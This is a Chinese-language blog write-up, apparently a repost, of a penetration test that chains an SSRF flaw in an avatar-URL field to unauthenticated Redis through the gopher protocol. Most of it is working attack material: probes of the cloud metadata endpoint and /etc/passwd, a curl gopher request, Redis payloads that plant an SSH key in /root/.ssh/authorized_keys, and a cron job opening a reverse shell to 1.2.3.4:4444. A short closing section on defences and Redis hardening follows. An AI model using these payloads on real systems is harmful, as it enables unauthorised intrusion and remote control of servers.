news 2026/5/12 23:13:46

从一次内部渗透测试说起:我是如何利用SSRF漏洞,通过Gopher协议拿下Redis的

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从一次内部渗透测试说起:我是如何利用SSRF漏洞,通过Gopher协议拿下Redis的

渗透测试实战:SSRF漏洞到Redis未授权访问的完整攻击链剖析

在一次常规的企业内部渗透测试中,我发现了一个看似普通的SSRF漏洞,却意外打开了通往内网核心系统的大门。这个故事不是教科书式的漏洞复现,而是一个真实攻击者视角下的完整技术探索——从最初的信息收集到最终的权限获取,中间充满了各种技术细节和实战技巧。

1. 漏洞发现与初步利用

那是一个普通的Web应用,在用户头像上传功能处,系统允许通过URL引用外部图片。当我尝试修改这个URL参数时,发现服务器确实会发起对应的请求——典型的SSRF漏洞特征。

关键测试步骤

  • 尝试访问http://169.254.169.254/latest/meta-data/确认云服务元数据接口
  • 使用file:///etc/passwd探测本地文件读取能力
  • 通过DNS重绑定技术绕过部分防护措施

注意:现代WAF通常会对这些常见测试payload进行拦截,需要不断变换测试手法

在确认漏洞存在后,我开始对内网服务进行探测。通过Burp Suite的Intruder模块,我构造了如下扫描字典:

GET / HTTP/1.1 Host: 192.168.1.{NUM} Connection: close

2. 内网服务发现与协议选择

经过几轮扫描,我在内网发现了几个有趣的开放端口:

端口号可能服务利用价值评估
6379Redis★★★★★
3306MySQL★★☆☆☆
8080HTTP服务★★★☆☆

Redis服务引起了我的特别注意,因为:

  1. 它通常以root权限运行
  2. 默认配置下可能允许未授权访问
  3. 提供了直接写入文件的能力

协议选择考量

  • HTTP协议:通用但交互复杂
  • Dict协议:简单但功能有限
  • Gopher协议:灵活且支持完整TCP交互

最终我选择了Gopher协议,因为它允许构造任意TCP流量,能够完整模拟Redis客户端通信。

3. Gopher协议深度解析

Gopher是一种古老的网络协议,但在SSRF攻击中却异常强大。它的URL格式如下:

gopher://<hostname>:<port>/<gophertype><path>

对于Redis通信,我们需要特别注意几点:

  1. Redis使用RESP协议(REdis Serialization Protocol)
  2. 每条命令需要以\r\n结尾
  3. 批量字符串使用$前缀声明长度

一个典型的Redis命令在Gopher URL中的编码示例:

import urllib.parse command = "*1\r\n$4\r\nPING\r\n" encoded = urllib.parse.quote(command) print(f"gopher://127.0.0.1:6379/_{encoded}") # 注意下划线前缀

4. Redis利用实战:从SSRF到RCE

通过SSRF漏洞,我构造了以下攻击链:

  1. 信息收集

    curl 'http://vuln-site.com/avatar?url=gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0AINFO%0D%0A'
  2. 写入SSH公钥

    # 生成攻击payload key = open('/home/user/.ssh/id_rsa.pub').read() cmd = f""" *3\r $3\r SET\r $1\r x\r ${len(key)}\r {key}\r *4\r $6\r CONFIG\r $3\r SET\r $3\r dir\r $11\r /root/.ssh\r *4\r $6\r CONFIG\r $3\r SET\r $10\r dbfilename\r $15\r authorized_keys\r *1\r $4\r SAVE\r """
  3. 计划任务写入

    cmd = """ *3\r $3\r SET\r $1\r x\r $48\r */1 * * * * bash -i >& /dev/tcp/1.2.3.4/4444 0>&1\r *4\r $6\r CONFIG\r $3\r SET\r $3\r dir\r $16\r /var/spool/cron\r *4\r $6\r CONFIG\r $3\r SET\r $10\r dbfilename\r $4\r root\r *1\r $4\r SAVE\r """

在实际操作中,我遇到了几个关键挑战:

  • URL编码的特殊处理
  • Redis协议格式的严格要求
  • 内网防火墙规则限制

5. 防御措施与检测建议

针对这类攻击,企业可以采取以下防护措施:

网络层防护

  • 严格限制内网服务间的访问权限
  • 对Redis等关键服务实施网络隔离
  • 监控异常的内网流量模式

应用层防护

  • 彻底禁用不必要的URL协议(如gopher、dict)
  • 实施严格的输入验证和输出编码
  • 使用白名单机制限制SSRF可访问的地址范围

Redis安全配置

# 必须修改的redis.conf配置项 bind 127.0.0.1 protected-mode yes requirepass "强密码" rename-command CONFIG ""

在防御这类攻击时,最重要的是理解攻击者的思维方式和工具链。只有站在攻击者的角度思考,才能构建真正有效的防御体系。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/12 23:12:41

RAG又进化了!微软整了个企业级AgenticRAG

如果你做过企业级 RAG&#xff0c;你一定经历过这种无奈&#xff1a;不管怎么调向量模型、换 embedding、加 HyDE 改写&#xff0c;复杂查询的效果就是上不去。大多数人会归咎于搜索引擎——召回率不够、排序不准、语料没处理好。 微软的 AgenticRAG 团队发现&#xff0c;问题…

作者头像 李华
网站建设 2026/5/12 23:10:37

BBDown完全指南:5步掌握B站视频下载,打造个人离线视频库

BBDown完全指南&#xff1a;5步掌握B站视频下载&#xff0c;打造个人离线视频库 【免费下载链接】BBDown Bilibili Downloader. 一个命令行式哔哩哔哩下载器. 项目地址: https://gitcode.com/gh_mirrors/bb/BBDown 还在为无法离线观看B站优质内容而烦恼吗&#xff1f;BB…

作者头像 李华
网站建设 2026/5/12 23:10:28

氯噻酮HEMICLOR的适应症、作用机制与临床应用

氯噻酮&#xff08;chlorthalidone&#xff09;——HEMICLOR 是一种噻嗪样长效利尿剂&#xff0c;2025 年 5 月获美国 FDA 批准用于成人高血压治疗&#xff0c;核心规格为 12.5mg 片剂&#xff0c;临床应用历史可追溯至 1960 年&#xff0c;是国内外高血压指南推荐的一线治疗药…

作者头像 李华
网站建设 2026/5/12 22:59:05

前端安全:XSS、CSRF攻击与防御

前端安全&#xff1a;XSS、CSRF攻击与防御 大家好&#xff0c;我是欧阳瑞&#xff08;Rich Own&#xff09;。今天想和大家聊聊前端安全这个重要话题。作为一个全栈开发者&#xff0c;我深知前端安全的重要性。一个小小的漏洞可能会导致用户数据泄露、账户被盗甚至整个系统被攻…

作者头像 李华
网站建设 2026/5/12 22:58:05

【赵渝强老师】金仓数据库的运行日志文件

金仓数据库实例初始化的时候会创建一个目录&#xff0c;通常都会在系统配置相关的环境变量$KINGBASEDATA来表示。当数据库初始化完成后&#xff0c;会在这个目录生成相关的子目录以及一些文件。下图展示了金仓数据库的物理结构。 金仓数据库的物理存储结构主要是指硬盘上存储…

作者头像 李华